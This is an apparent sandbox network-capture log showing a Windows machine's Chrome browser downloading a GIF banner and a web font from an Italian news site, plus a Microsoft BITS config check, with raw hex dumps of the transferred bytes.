2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 69 c5 24 9a 66 a5 d8 94 95 d2 a4 23 84 79 55 b7 7e 4b 92 ca 48 ff 00 4e 95 71 d9 d6 4d 7d 27 00 14 a7 35 55 08 61 28 4f 80 4e 16 e6 5f 3f a9 ad 9d b9 b2 67 a4 fd 27 5b 37 79 95 a4 6f a4 4f 4f 4f b4 94 4c 61 07 38 68 06 bc 10 90 80 37 1f 7c 4c bb 38 38 52 88 18 3d 9c f5 e0 24 93 5e dc de ec 9c 23 2c b9 6c 52 25 96 12 97 2f d6 ff 00 db 27 0e 4f 4d 30 a7 30 53 b3 ee 54 b6 45 f6 8f ad 4a e7 07 df 9a 25 3c 11 a5 37 81 e5 5e 0f 3a f3 b4 bc ea 87 15 20 64 ae 7a 66 fc ce 05 71 01 24 22 97 98 5f 2d 36 83 18 36 7b 06 cb 96 e5 a4 54 a5 3b 36 e5 12 a5 54 52 e0 1a 72 7f 89 16 a4 d1 2b 75 ab a6 ba 78 11 fc 36 b4 a6 a9 43 ce de 35 d1 c0 c9 9c c2 85 a2 fe 0a 9d ba 5f c5 91 79 97 00 a5 68 74 82 22 5d 38 1f 19 2f 83 da 5d e9 89 a7 28 0a 87 a8 94 f3 f2 e4 ca e1 39 24 df 9b Data Ascii: i$f#yU~KHNqM}'5Ua(ON_?g'[7yoOOOLa8h7\|L88R=$^#,lR%/'OM00STEJ%<7^: dzfq$"_-66{T;6TRr+ux6C5_yht"]8/](9$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49762	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	687	OUT	GET /wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	685	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: image/gif Content-Length: 49746 Connection: close last-modified: Mon, 04 Mar 2024 14:44:57 GMT etag: "65e5de69-c252" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JUpN4F%2B2P9OgqNwgKDoOjwqwXj2vTnnw4ghy4pP1ZEZmR7aMVYwetQfyvAhAvOhPkdoVObCHCqjB8jFyxF3L0uVWvxMeCuWefji5vssJoKQfImMYQ55uFVO%2FmGs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6603978a972f2-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	684	IN	Data Raw: 47 49 46 38 39 61 d8 02 5a 00 e6 7f 00 2c 71 89 1b 12 17 9c 94 49 d8 e6 ea f9 f4 ed 06 57 73 fb bb 2c e8 ea e7 ec e5 db 00 47 65 69 9a ab ca 8c 73 88 af bb e7 dd d3 67 5c 5c c6 d9 de 4b 86 9a 97 b9 c5 fc d2 6f e6 b0 93 db a7 8c fb b3 13 ff c7 27 f6 f6 f4 ed f3 f5 fe e7 b1 cd de e3 48 29 29 78 a5 b3 ec ca b1 fc c6 4b fb bb 31 fd d8 87 00 39 5a 00 50 6e f1 ed e6 a8 c5 ce ac 69 58 b5 ce d6 2b 64 72 18 64 7d fd fb f3 42 7a 8f b7 79 66 58 90 a2 8e 53 49 d3 9b 81 14 55 6c 96 49 35 bd d3 da ff f3 d8 ff ee c7 e4 ed f0 c8 77 60 d1 aa 38 f7 fb fb 10 5c 75 d4 b7 a9 ad c9 d3 fb b6 20 74 84 54 00 4a 74 e7 bc a2 b3 b1 ad fb f7 f4 87 6f 6d e2 95 76 1f 57 6e f1 bb 4a 73 42 3b 8d 8e 8e 64 8c 9c f2 f7 f8 f8 ed d5 b1 92 87 9a 62 55 ea b5 32 fb ba 23 a9 5b 46 d9 c9 bf d2 ae Data Ascii: GIF89aZ,qIWs,Geisg\\Ko'H))xK19ZPniX+drd}BzyfXSIUlI5w`8\u tTJtomvWnJsB;dbU2#[F
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 37 34 63 38 35 34 34 32 2d 64 31 36 63 2d 34 34 31 64 2d 61 35 39 64 2d 34 35 37 61 63 36 32 39 64 37 63 61 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a Data Ascii: about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:74c85442-d16c-441d-a59d-457ac629d7ca" xmpMM:DocumentID="xmp.did:
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: d3 4d c4 d5 c5 95 4b 88 28 50 40 1f 30 16 60 02 22 d0 49 47 02 7a ce 21 93 da 89 9a cc 41 c2 0b ec a1 30 97 67 10 b0 c0 82 02 1a d4 46 1c ff 59 61 e0 20 02 8c 50 46 29 42 72 10 74 46 02 0e 51 66 a9 25 81 18 40 f0 a4 08 2c bc 72 60 82 0b 9e 17 03 00 0f aa a0 41 1c 9c 34 75 c7 59 3a d1 96 62 2a 18 6e 97 d3 8a 82 80 d5 d5 87 78 86 23 9c 87 c4 d4 09 ca 9c 25 0d e0 60 94 61 1e 52 a3 08 d3 f1 f9 c9 84 87 58 57 9d 5d da 45 aa 24 22 11 a8 00 c1 90 9a 90 10 14 15 28 3c 10 18 71 bd 71 d2 e0 93 df e1 87 1f 94 42 21 e1 87 7d aa 7a 07 a3 5f aa aa f1 9f 97 30 26 5a 60 21 0c 3c 99 80 1a 9d 15 42 03 0b 2a 00 c0 80 79 94 0e 17 8a 6d e7 41 ba 13 57 84 8a 72 db 40 6f c6 81 e2 b5 d8 66 8b 6d 1c d6 02 3a 47 1c 6f de d4 6d b6 5f d1 31 87 1d 1c 6a ab 6d ba e4 2e 1b ed 41 1c bc Data Ascii: MK(P@0`"IGz!A0gFYa PF)BrtFQf%@,r`A4uY:bnx#%`aRXW]E$"(<qqB!}z_0&Z`!<BymAWr@ofm:Gom_1jm.A
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 5a 9b 1a a6 64 53 41 48 96 51 13 23 81 0a d4 d0 03 7a 71 f8 83 43 f4 03 0d 16 fa 63 0f a3 2a 01 be 3c 84 c2 60 14 01 1d e8 c0 04 4f 8e d7 97 20 30 44 a3 94 55 b5 86 f8 a7 12 7b 12 38 fd 75 58 81 47 ae ad 20 80 9a e2 0e 03 60 5e 09 60 01 68 09 31 d1 df 7a 06 a3 1a e5 68 6e 8b fc 34 1c 80 37 0c e7 65 d4 97 0b 50 53 50 11 98 06 0a 50 71 85 4d 2b 82 17 84 41 13 48 40 9f 74 54 0c c4 3e b8 38 bc b9 05 40 85 01 73 83 ee 54 8e 9a 66 3e 32 95 d1 d1 5e 97 be 80 07 02 e0 81 a8 45 0d 07 42 3c 60 be 04 93 6a 8c 50 c0 6a 14 7c d4 be 7d 49 12 fa 94 b3 2a 28 c9 cb 7a 29 05 70 76 d7 4c a3 ce 68 42 3c 03 58 10 0d 5c 85 04 a2 d8 01 6e 42 86 1d 0d 20 ff 9a 0f 0c 3c 2d 0c 6c a2 c3 99 cf 1a d0 07 27 82 04 12 66 41 90 fd a0 01 00 bc 80 05 86 e4 00 09 05 a1 83 43 d1 15 a2 7e f5 Data Ascii: ZdSAHQ#zqCc<`O 0DU{8uXG `^`h1zhn47ePSPPqM+AH@tT>8@sTf>2^EB<`jPj\|}I(z)pvLhB<X\nB <-l'fAC~
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 99 8a 07 28 95 53 b9 80 57 d9 63 0b 04 55 68 b7 45 1c 10 9f 58 74 52 fe 46 54 77 40 96 50 d2 99 1c c8 55 02 06 0a 5f a5 09 1a b0 8c 5b c4 61 3a d0 44 0d d3 32 43 10 03 81 88 02 6b c4 00 31 b0 41 23 45 0f bb 04 6b 9b 34 9e 98 37 39 b1 44 05 08 96 39 30 c5 7e 50 34 91 40 14 8f 82 30 8f 90 a9 1d 60 f9 1d e5 e8 07 06 16 8e cd 11 07 f5 66 23 fa 56 26 b7 d7 71 ba 77 30 f4 c4 ff 5d 07 06 a2 95 68 49 0c 02 80 90 28 08 8d 96 9d 6c 15 9b dd 87 71 a2 50 93 9c 49 98 40 d5 90 44 71 03 01 d2 17 d5 29 91 90 c4 73 d8 c8 66 dc 18 5a b3 b2 81 88 48 4d 2f f9 7d 31 16 03 f8 65 67 bc 15 7a 1a 1a 83 53 54 68 55 83 13 ba a8 91 9c 00 69 7d 80 02 3c 41 5a 5f 82 02 ae 82 13 43 f6 25 52 73 03 05 3a 31 25 a2 01 4d 46 37 18 40 02 61 f0 a3 cc 80 8a 59 12 95 e9 a9 9e 3c c0 9e 10 38 a2 Data Ascii: (SWcUhEXtRFTw@PU_[a:D2Ck1A#Ek479D90~P4@0`f#V&qw0]hI(lqPI@Dq)sfZHM/}1egzSThUi}<AZ_C%Rs:1%MF7@aY<8
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 83 44 40 f1 22 1a fb 06 41 9a d1 71 71 3a 47 22 24 20 92 86 39 76 e1 29 dc 73 c9 85 50 30 6c 2d 4c 35 11 ff 06 67 86 42 93 34 44 8b 78 02 72 cd 17 47 1d 41 03 7b 08 ea 81 42 b3 0a 17 e1 08 01 18 64 14 f9 b6 89 5c 7d 36 74 94 d9 02 22 1a 3e 6c 6a 10 50 4a db a3 cc 88 64 d7 c1 12 06 2a 20 43 d4 d4 20 9a 31 31 63 65 d9 68 22 20 23 d6 24 83 04 62 4e 71 42 63 ad 1d c4 a8 19 6b 35 36 0a a0 02 91 b4 b1 10 a0 2f 1d 42 c2 2a 94 45 a4 3d 48 24 f7 00 2c c0 41 7b 94 62 98 43 58 dc 23 02 46 51 13 1a 70 04 0e c2 40 2d 18 4d 8b 68 d6 46 64 02 2f 80 46 ad 0b 54 21 f0 02 b9 ba 0c 7a 6c 6b 38 50 00 f4 5d df 93 7c 4a 81 ac 6a e0 77 2f 2b 5a 50 9c 67 08 36 9d bd 8d bc bd 2a d4 07 61 10 03 1a fa 49 87 e7 49 0b 12 97 18 50 5a 1c 76 26 68 c2 02 a5 75 66 2e d3 7a a5 95 68 28 a0 Data Ascii: D@"Aqq:G"$ 9v)sP0l-L5gB4DxrGA{Bd\}6t">ljPJd* C 11ceh" #$bNqBck56/BE=H$,A{bCX#FQp@-MhFd/FT!zlk8P]\|Jjw/+ZPg6aIIPZv&huf.zh(
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: bc f9 f3 e7 43 8c 55 c4 02 05 07 14 21 20 00 13 01 40 41 02 05 00 18 9c 8b 10 03 98 1a 35 c0 00 80 43 7b f6 01 00 41 1f ee 85 a0 c6 7b 84 d1 c7 41 31 92 95 c2 01 15 22 1c 46 82 08 10 24 50 8a 08 38 28 50 80 02 8b 8c 32 5b 77 24 de 15 c1 6e 21 f8 b6 cc 15 68 b5 e8 e2 8b 15 ec 20 03 38 72 28 f7 81 01 78 38 17 8e 72 5b 48 47 9d 56 29 48 d0 e2 0e 57 94 68 e4 91 48 86 98 88 39 7d 14 e0 e4 93 50 46 29 a5 94 54 f4 65 82 21 ed b1 20 48 01 10 f4 07 cb 6b 2c 3c c0 9a 66 9a c1 02 1b 06 28 d4 27 df 2d 00 90 d0 8b 2d b2 71 10 d9 62 2c 30 60 a0 20 6a 88 a0 06 0b 05 04 a6 06 2b 31 28 d9 51 92 84 6a 45 03 0b 60 15 ff 30 c9 8a 37 6e 11 9d 01 d1 7d 20 29 a4 37 1a 30 e3 1c 77 78 d3 16 5a 1e cc 18 0e 01 42 be 95 1d 90 20 ec 70 a3 07 71 15 aa ea aa 76 5d 10 83 09 b0 c6 2a eb Data Ascii: CU! @A5C{A{A1"F$P8(P2[w$n!h 8r(x8r[HGV)HWhH9}PF)Te! Hk,<f('--qb,0` j+1(QjE`07n} )70wxZB pqv]*
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: ec ab 22 b2 c0 02 13 6a a8 83 0b f5 43 1c ec f3 42 1c a8 0b 14 26 35 2d 7a 81 88 4c 22 2a 49 b9 72 94 80 84 27 8c 47 49 49 a0 63 29 80 6e 77 91 4a b0 20 2d 07 7b 62 80 e0 13 85 14 9d bd 89 a1 6c 71 1b 26 56 fd 40 ce 81 1d 47 72 5b 0d df 27 d0 27 a9 a7 fa 21 03 6d fd 00 8a 47 fc 28 1d b5 25 ad dd 85 af 90 e9 12 5e 94 0e 00 00 21 f8 ac 09 ff 38 a0 99 be 5e 29 06 34 d0 41 16 56 67 19 51 20 01 35 72 4a 04 2b 1e 02 1a 81 f8 41 07 9f 21 81 24 19 82 ae 08 24 e4 35 9f 11 45 1c d2 ec 0a 2d a7 6b 49 96 61 c0 b1 24 99 85 ca 84 41 1f 86 89 00 12 aa 66 19 44 20 61 34 88 18 32 37 5e f6 33 16 40 e0 d0 a5 c0 2f 0a 38 c2 4a 54 02 20 5c 04 c6 5d 32 18 20 9e 58 1e 83 1f a5 2d 2f 33 da b2 ce e8 dc 36 11 72 98 23 1a 09 89 87 32 4e 31 63 1e a8 57 86 b3 8b b7 dc fa 11 47 06 08 Data Ascii: "jCB&5-zL"*Ir'GIIc)nwJ -{blq&V@Gr[''!mG(%^!8^)4AVgQ 5rJ+A!$$5E-kIa$AfD a427^3@/8JT \]2 X-/36r#2N1cWG
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 92 69 02 10 c5 40 02 97 80 02 05 c7 00 18 f0 50 ed 06 00 ea 72 9b a9 70 ff 04 34 40 03 9f c7 00 48 c0 02 2a 30 22 86 69 09 9d 85 20 ff 01 20 b8 47 84 2a 27 8c 48 48 8c 89 10 03 30 84 5f 25 b4 9d 0d 28 95 bf b4 2e 7a 74 46 06 40 48 e4 59 46 68 a8 3f 50 25 86 8e 82 86 e4 89 4c cd 84 8d ac 16 37 ae 06 2a 5e 64 06 e4 89 6b 1f 90 23 72 c0 46 4b 74 9f 4d e0 28 e8 99 8e 2b 26 97 5f e9 86 75 f9 8e 6f 14 8f 33 13 24 55 74 23 a6 16 48 55 f8 44 c3 04 29 38 b5 9c 16 6a 58 48 28 12 c5 e7 07 3e 33 11 8c 40 03 0f 40 2d 37 40 10 23 99 2b 22 f1 1b 20 9a 10 3e 43 03 1f 3a 11 44 53 09 ba a2 0f 48 a0 2b 4b 71 11 8d 01 9a 07 88 a3 7d d5 10 13 c1 11 63 a6 08 f8 30 66 3c 5a a2 0d 11 a2 1c 4a 34 85 c9 0f 61 50 00 26 a4 6e af a3 06 f4 25 9d bb 47 9d 89 90 84 92 26 94 ac 47 14 09 Data Ascii: i@Prp4@H0"i G'HH0_%(.ztF@HYFh?P%L7*^dk#rFKtM(+&_uo3$Ut#HUD)8jXH(>3@@-7@#+" >C:DSH+Kq}c0f<ZJ4aP&n%G&G
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 24 40 c5 a2 8c 36 da 28 0a 27 dd 00 41 a3 8a 3a 4a 45 08 38 0c 20 48 04 21 54 6a 29 0a 1c 90 e0 a5 27 03 30 c0 02 0a 21 30 0a 80 02 3a d0 c0 a0 9a 12 0a 42 03 09 0a e0 e0 69 1f 2c 70 f0 00 81 7e 68 e0 a9 a5 49 45 a0 29 21 f4 a4 6a 69 a3 21 00 10 25 0d 11 40 80 83 b1 21 a0 00 41 04 4a ce 16 86 08 c6 1e bb 68 08 0c d4 91 9e 1f 0a fc ba a8 a2 09 ac fa 40 9a 24 74 aa 2d a3 09 30 30 08 07 d9 b2 7b 29 00 1c e8 90 a6 3b b1 c2 62 21 76 aa 78 e8 99 08 00 3b d4 1c a1 cc b1 20 24 40 31 21 03 40 a4 ac 15 23 02 00 c3 86 41 45 6b 22 28 0a 81 ff ab 86 20 41 02 0a 54 08 da 4b c5 09 40 f0 80 39 e4 51 38 00 04 09 24 b0 56 ca 22 28 20 97 06 03 43 97 32 00 31 10 42 c3 72 bf 0c 9c 80 1a c3 3d 00 00 15 00 f7 52 40 c5 40 33 30 9b 63 5d 11 93 40 04 f5 71 10 b3 88 29 53 46 88 0e Data Ascii: $@6('A:JE8 H!Tj)'0!0:Bi,p~hIE)!ji!%@!AJh@$t-00{);b!vx; $@1!@#AEk"( ATK@9Q8$V"( C21Br=R@@30c]@q)SF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49763	23.210.240.112	443

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-28 08:51:01 UTC	468	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=252742 Date: Thu, 28 Mar 2024 08:51:01 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	631	OUT	GET /wp-content/themes/Newspaper/images/icons/newspaper.woff?23 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://bsnews.it sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://bsnews.it/wp-content/themes/Newspaper/style.css?ver=12.6.5 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:01 GMT Content-Type: font/woff Content-Length: 33904 Connection: close last-modified: Wed, 13 Mar 2024 20:01:52 GMT etag: "65f20630-8470" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3337 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F2UPcyf6BtDdBJ6asp%2FkJBjBRF37VkJK4vgr9oOCVXu4TQkpPfoH77vTYoiZLNbuz6z%2B3g0b4K%2Bu304QsHvY5xGU1Yr2bJ0lqxDEcUIap3MvY%2B%2BuAyF431wmcdk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660415dd03b74-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	665	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 84 70 00 0b 00 00 00 00 84 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 08 00 00 00 60 00 00 00 60 0f 12 0f fc 63 6d 61 70 00 00 01 68 00 00 00 9c 00 00 00 9c a9 8c a1 87 67 61 73 70 00 00 02 04 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 02 0c 00 00 7c c0 00 00 7c c0 ec b1 1c be 68 65 61 64 00 00 7e cc 00 00 00 36 00 00 00 36 38 a8 3d b5 68 68 65 61 00 00 7f 04 00 00 00 24 00 00 00 24 1a a0 17 71 68 6d 74 78 00 00 7f 28 00 00 02 54 00 00 02 54 52 e2 00 00 6c 6f 63 61 00 00 81 7c 00 00 01 2c 00 00 01 2c 3f 1e 5a be 6d 61 78 70 00 00 82 a8 00 00 00 20 00 00 00 20 00 a3 04 5b 6e 61 6d 65 00 00 82 c8 00 00 01 86 00 00 01 86 99 4a 09 fb 70 6f 73 74 00 00 84 50 00 00 00 Data Ascii: wOFFp$OS/2``cmaphgaspglyf\|\|head~668=hhea$$qhmtx(TTRloca\|,,?Zmaxp [nameJpostP
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 26 3d 01 21 22 27 26 3d 01 34 37 36 37 21 35 34 37 36 17 16 17 01 16 15 01 6e 01 01 01 01 01 01 05 04 08 b6 45 30 30 30 30 45 b6 08 05 06 01 01 01 01 01 01 05 04 08 b6 26 1b 1a 01 1b 1c 25 b2 06 06 01 01 03 04 01 01 02 12 0b fe c9 0b 0e 0e 0c 0b ff 00 0e 0c 0b 0b 0c 0e 01 00 0b 0c 0e 0e 0b 01 37 0b 80 02 0a 09 05 05 09 0a 02 02 01 30 31 44 01 92 44 30 30 05 05 08 02 09 09 07 06 07 07 04 04 01 1c 1c 24 fe 6e 26 1a 1b 01 02 02 01 01 04 04 04 01 37 0e 0c fe c9 0a 0a 0a 10 a4 0c 0b 0e db 10 0a 0a 01 a5 0e 0c 0b 01 01 09 fe c8 0a 0f 00 00 01 00 00 ff c0 02 52 03 c0 00 13 00 00 01 07 06 23 22 2f 01 26 35 34 37 36 1f 01 37 36 17 16 15 14 02 42 f0 13 16 17 12 f0 10 10 27 29 c9 c9 29 27 10 02 01 e6 12 12 e6 10 1a 19 11 26 26 c1 c1 26 26 11 19 1a 00 00 00 01 00 00 Data Ascii: &=!"'&=4767!5476nE0000E&%701DD00$n&7R#"/&547676B'))'&&&&
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 13 1d 1d 13 01 01 03 03 0c 0b 0e 08 12 11 1b 1b 1a 1b 1c 1d 16 15 0e 0f 01 04 05 0e 2d 0d 13 20 15 14 24 1e 3e 3f 31 31 11 12 09 09 01 01 fc 18 29 09 0e 0e 1f 1f 12 12 14 15 16 17 0e 13 24 25 26 1c 24 15 27 13 37 2a 12 1c 36 08 0e 0d 20 1f 17 22 0c 0c 07 05 08 09 0e 0e 06 05 02 02 01 01 08 07 0e 0e 19 19 23 24 32 0b 0a 2e 24 12 2a 37 13 27 15 24 1c 27 24 23 14 0f 16 15 16 15 11 11 1d 1c 17 14 00 00 00 01 00 00 ff c0 03 5f 03 c0 00 19 00 00 01 32 16 17 16 06 07 09 01 16 14 07 0e 01 27 01 2e 01 35 34 36 37 01 3e 01 33 03 33 0b 16 0b 16 0b 0b fe 2c 01 c6 15 15 0c 28 16 fe 00 15 08 12 0b 02 00 0b 16 0b 03 b7 12 0c 15 37 0b fe 75 fe 75 16 2c 15 17 0e 15 01 b7 0b 1a 16 0b 16 0b 01 c6 0a 04 00 00 00 00 01 00 00 ff b7 03 16 03 c0 00 19 00 00 17 22 26 27 26 36 37 Data Ascii: - $>?11)$%&$'76 "#$2.$7'$'$#_2'.5467>33,(7uu,"&'&67
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 00 17 11 21 11 13 11 21 11 21 00 02 01 08 02 00 fe 00 49 02 01 fd ff 01 ff 02 01 fd ff 00 01 00 00 ff c0 03 f9 03 c0 00 26 00 00 01 13 23 3e 01 37 27 06 07 0e 01 07 06 07 25 11 36 17 1e 01 17 16 17 27 35 2e 01 0f 01 21 36 27 2e 01 27 26 07 35 23 01 71 05 d3 11 58 67 02 71 47 47 51 10 0f 02 01 e4 37 3b 3b 69 29 28 13 d7 1d 34 1b 02 01 e0 02 25 25 8b 63 63 7c 73 02 8b fe a4 4b 6f 0f 2d 0e 24 23 5c 32 33 2c 01 01 22 01 03 04 29 2b 2c 4f 02 93 09 02 02 eb 58 41 40 53 13 14 02 56 00 00 08 00 00 ff c0 04 7d 03 c0 00 0c 00 14 00 1d 00 26 00 35 00 3d 00 4c 00 55 00 00 37 11 34 3b 01 35 34 3b 01 11 14 23 21 37 33 32 3d 01 23 22 15 13 11 34 3b 01 11 14 2b 01 11 35 34 3b 01 15 14 2b 01 13 11 34 33 21 11 14 23 21 37 34 3b 01 35 23 37 33 32 3d 01 23 22 15 13 34 3b 01 Data Ascii: !!!I&#>7'%6'5.!6'.'&5#qXgqGGQ7;;i)(4%%cc\|sKo-$#\23,")+,OXA@SV}&5=LU74;54;#!732=#"4;+54;+43!#!74;5#732=#"4;
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: fc 00 8a 57 38 50 44 35 3b 2e 59 a1 3c 41 48 ba 00 02 00 00 ff c0 05 16 03 c0 00 0b 00 3f 00 00 01 33 35 23 35 23 15 23 15 33 15 33 05 32 37 3e 01 37 36 35 34 26 27 21 15 33 0e 01 23 22 27 2e 01 27 26 35 34 37 3e 01 37 36 33 32 16 17 37 2e 01 23 22 07 0e 01 07 06 15 14 17 1e 01 17 16 33 04 85 91 91 67 90 90 67 fd 1a 5f 4a 49 66 1a 1b 05 04 fe 7c de 15 7a 4f 33 2d 2c 42 13 13 13 13 42 2c 2d 33 2e 4e 21 77 37 8c 51 56 4c 4b 71 20 21 21 20 71 4b 4c 56 01 9a 65 8e 8e 65 8e ec 20 20 6f 4a 4a 54 15 28 14 a3 4c 53 13 13 41 2c 2c 32 32 2c 2b 42 13 13 1d 1c 76 32 36 1f 20 6f 4a 4a 54 54 4a 4a 6f 20 20 00 02 00 00 ff c0 03 25 03 c0 00 11 00 16 00 00 01 37 21 13 21 0f 01 2f 01 23 1f 01 33 37 13 21 27 21 01 21 03 05 25 02 86 09 fe 07 1a 01 5e 0c 71 70 07 65 0e ce 02 Data Ascii: W8PD5;.Y<AH?35#5##3327>7654&'!3#"'.'&547>76327.#"3gg_JIf\|zO3-,BB,-3.N!w7QVLKq !! qKLVee oJJT(LSA,,22,+Bv26 oJJTTJJo %7!!/#37!'!!%^qpe
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: c0 00 07 00 00 13 11 33 15 21 35 33 11 00 8f 03 39 90 01 04 01 66 d4 d4 fe 9a 00 00 01 00 00 ff b7 03 b8 03 c0 00 36 00 00 13 36 37 36 37 16 17 16 17 16 17 06 07 06 07 15 06 07 06 07 06 23 22 27 35 16 37 36 35 11 33 11 32 37 36 37 36 35 34 27 26 23 06 07 06 07 06 07 16 17 07 26 27 26 27 00 04 82 8a cc d6 82 40 22 21 01 04 7c 82 d0 02 20 21 31 22 28 30 30 2a 25 21 ae 3c 36 52 2e 3c 62 5a 7c 82 56 2e 19 18 01 08 28 6e 30 1c 18 02 02 2d b0 6c 6c 02 04 68 36 4c 4b 51 a8 66 66 02 3e 3a 30 30 18 10 18 b2 1e 0a 0e 24 01 ec fe ce 0c 14 28 3a 52 76 3e 34 04 34 1e 2f 2f 34 6c 26 76 30 4c 50 3c 00 00 00 03 00 00 ff c0 03 70 03 c0 00 26 00 45 00 56 00 00 01 17 16 17 16 15 14 07 06 2b 01 22 07 06 0f 01 06 2b 01 22 27 26 3f 01 33 32 37 36 3f 01 36 3b 01 32 37 36 35 34 Data Ascii: 3!539f66767#"'576532767654'&#&'&'@"!\| !1"(00*%!<6R.<bZ\|V.(n0-llh6LKQff>:00$(:Rv>44//4l&v0LP<p&EV+"+"'&?3276?6;27654
